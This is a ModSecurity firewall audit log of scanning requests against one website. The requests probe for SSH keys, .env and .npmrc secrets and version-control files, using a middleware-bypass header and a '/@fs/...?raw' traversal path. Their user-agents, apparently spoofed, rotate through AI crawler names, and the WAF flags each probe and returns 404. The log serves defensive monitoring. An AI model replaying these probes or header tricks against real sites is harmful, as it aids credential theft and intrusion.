--a21c9a58-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--a21c9a58-H--
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/authorized_keys||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/authorized_keys||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/authorized_keys||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.ssh/authorized_keys"] [unique_id "aqakdWM7dE9KgIIOpQiAigAAAMc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/authorized_keys||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.ssh/authorized_keys"] [unique_id "aqakdWM7dE9KgIIOpQiAigAAAMc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305973764452 115679 (- - -)
Stopwatch2: 1789305973764452 115679; combined=34066, p1=298, p2=33694, p3=0, p4=0, p5=73, sr=137, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--a21c9a58-Z--

--ff982f42-A--
[13/Sep/2026:16:26:13.885288 +0300] aqakdTTJ6xTvcJoem7f96AAAAEc 34.73.17.152 55484 127.0.0.1 7081
--ff982f42-B--
GET /.github/.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--ff982f42-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--ff982f42-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.github/.env"] [unique_id "aqakdTTJ6xTvcJoem7f96AAAAEc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305973774409 110935 (- - -)
Stopwatch2: 1789305973774409 110935; combined=4770, p1=248, p2=4462, p3=0, p4=0, p5=59, sr=93, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--ff982f42-Z--

--614fb530-A--
[13/Sep/2026:16:26:13.983110 +0300] aqakdWM7dE9KgIIOpQiAjAAAAMQ 34.73.17.152 55494 127.0.0.1 7081
--614fb530-B--
GET /.ssh/config HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--614fb530-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--614fb530-H--
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.ssh/config"] [unique_id "aqakdWM7dE9KgIIOpQiAjAAAAMQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.ssh/config"] [unique_id "aqakdWM7dE9KgIIOpQiAjAAAAMQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305973875040 108170 (- - -)
Stopwatch2: 1789305973875040 108170; combined=37822, p1=243, p2=37511, p3=0, p4=0, p5=68, sr=86, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--614fb530-Z--

--e6525144-A--
[13/Sep/2026:16:26:14.148192 +0300] aqakdjTJ6xTvcJoem7f96gAAAE0 34.73.17.152 55518 127.0.0.1 7081
--e6525144-B--
GET /.ssh/known_hosts HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--e6525144-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--e6525144-H--
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/known_hosts||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/known_hosts||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/known_hosts||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.ssh/known_hosts"] [unique_id "aqakdjTJ6xTvcJoem7f96gAAAE0"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/known_hosts||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.ssh/known_hosts"] [unique_id "aqakdjTJ6xTvcJoem7f96gAAAE0"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305974054357 93889 (- - -)
Stopwatch2: 1789305974054357 93889; combined=32786, p1=339, p2=32371, p3=0, p4=0, p5=76, sr=106, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e6525144-Z--

--4969c35f-A--
[13/Sep/2026:16:26:14.262219 +0300] aqakdisVWymXUono-eRXUgAAABc 34.73.17.152 55520 127.0.0.1 7081
--4969c35f-B--
GET /id_rsa HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--4969c35f-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--4969c35f-H--
Message: Warning. Matched phrase "id_rsa" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/id_rsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "id_rsa" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/id_rsa||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "id_rsa" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/id_rsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/id_rsa"] [unique_id "aqakdisVWymXUono-eRXUgAAABc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "id_rsa" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/id_rsa||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/id_rsa"] [unique_id "aqakdisVWymXUono-eRXUgAAABc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305974128806 133485 (- - -)
Stopwatch2: 1789305974128806 133485; combined=36688, p1=215, p2=36369, p3=0, p4=0, p5=103, sr=84, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--4969c35f-Z--

--6c4b984e-A--
[13/Sep/2026:16:26:14.392811 +0300] aqakdisVWymXUono-eRXUwAAAAA 34.73.17.152 55544 127.0.0.1 7081
--6c4b984e-B--
GET /.npmrc HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--6c4b984e-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--6c4b984e-H--
Message: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.npmrc||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.npmrc||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.npmrc||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.npmrc"] [unique_id "aqakdisVWymXUono-eRXUwAAAAA"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.npmrc||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.npmrc"] [unique_id "aqakdisVWymXUono-eRXUwAAAAA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305974204667 188214 (- - -)
Stopwatch2: 1789305974204667 188214; combined=41071, p1=257, p2=40741, p3=0, p4=0, p5=72, sr=99, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--6c4b984e-Z--

--d6cfd369-A--
[13/Sep/2026:16:26:14.509835 +0300] aqakdmM7dE9KgIIOpQiAkgAAANQ 34.73.17.152 55598 127.0.0.1 7081
--d6cfd369-B--
GET /id_dsa HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--d6cfd369-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--d6cfd369-H--
Message: Warning. Matched phrase "id_dsa" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/id_dsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "id_dsa" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/id_dsa||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "id_dsa" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/id_dsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/id_dsa"] [unique_id "aqakdmM7dE9KgIIOpQiAkgAAANQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "id_dsa" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/id_dsa||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/id_dsa"] [unique_id "aqakdmM7dE9KgIIOpQiAkgAAANQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305974408420 101470 (- - -)
Stopwatch2: 1789305974408420 101470; combined=32316, p1=1612, p2=30637, p3=0, p4=0, p5=66, sr=796, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d6cfd369-Z--

--dda93a4e-A--
[13/Sep/2026:16:26:15.145221 +0300] aqakdmM7dE9KgIIOpQiAlgAAAMk 34.73.17.152 55700 127.0.0.1 7081
--dda93a4e-B--
GET /.svn/entries HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--dda93a4e-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--dda93a4e-H--
Message: Warning. Matched phrase ".svn/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.svn/entries||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".svn/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.svn/entries||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".svn/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.svn/entries||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.svn/entries"] [unique_id "aqakdmM7dE9KgIIOpQiAlgAAAMk"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".svn/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.svn/entries||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.svn/entries"] [unique_id "aqakdmM7dE9KgIIOpQiAlgAAAMk"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305974887305 258000 (- - -)
Stopwatch2: 1789305974887305 258000; combined=31484, p1=283, p2=31142, p3=0, p4=0, p5=59, sr=104, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--dda93a4e-Z--

--b6e95840-A--
[13/Sep/2026:16:26:15.435601 +0300] aqakd2M7dE9KgIIOpQiAmAAAAMQ 34.73.17.152 55770 127.0.0.1 7081
--b6e95840-B--
GET /@fs/app/.env?raw?? HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--b6e95840-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--b6e95840-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/@fs/app/.env"] [unique_id "aqakd2M7dE9KgIIOpQiAmAAAAMQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305975363086 72672 (- - -)
Stopwatch2: 1789305975363086 72672; combined=3442, p1=242, p2=3141, p3=0, p4=0, p5=59, sr=94, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--b6e95840-Z--

--68a78f69-A--
[13/Sep/2026:16:26:15.553335 +0300] aqakdysVWymXUono-eRXVgAAAAU 34.73.17.152 55762 127.0.0.1 7081
--68a78f69-B--
GET /.idea/WebServers.xml HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; YiBot/1.0; +https://01.ai/)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--68a78f69-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--68a78f69-H--
Message: Warning. Matched phrase ".idea/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.idea/webservers.xml||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".idea/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.idea/webservers.xml||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".idea/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.idea/webservers.xml||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.idea/WebServers.xml"] [unique_id "aqakdysVWymXUono-eRXVgAAAAU"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".idea/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.idea/webservers.xml||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.idea/WebServers.xml"] [unique_id "aqakdysVWymXUono-eRXVgAAAAU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305975285809 267591 (- - -)
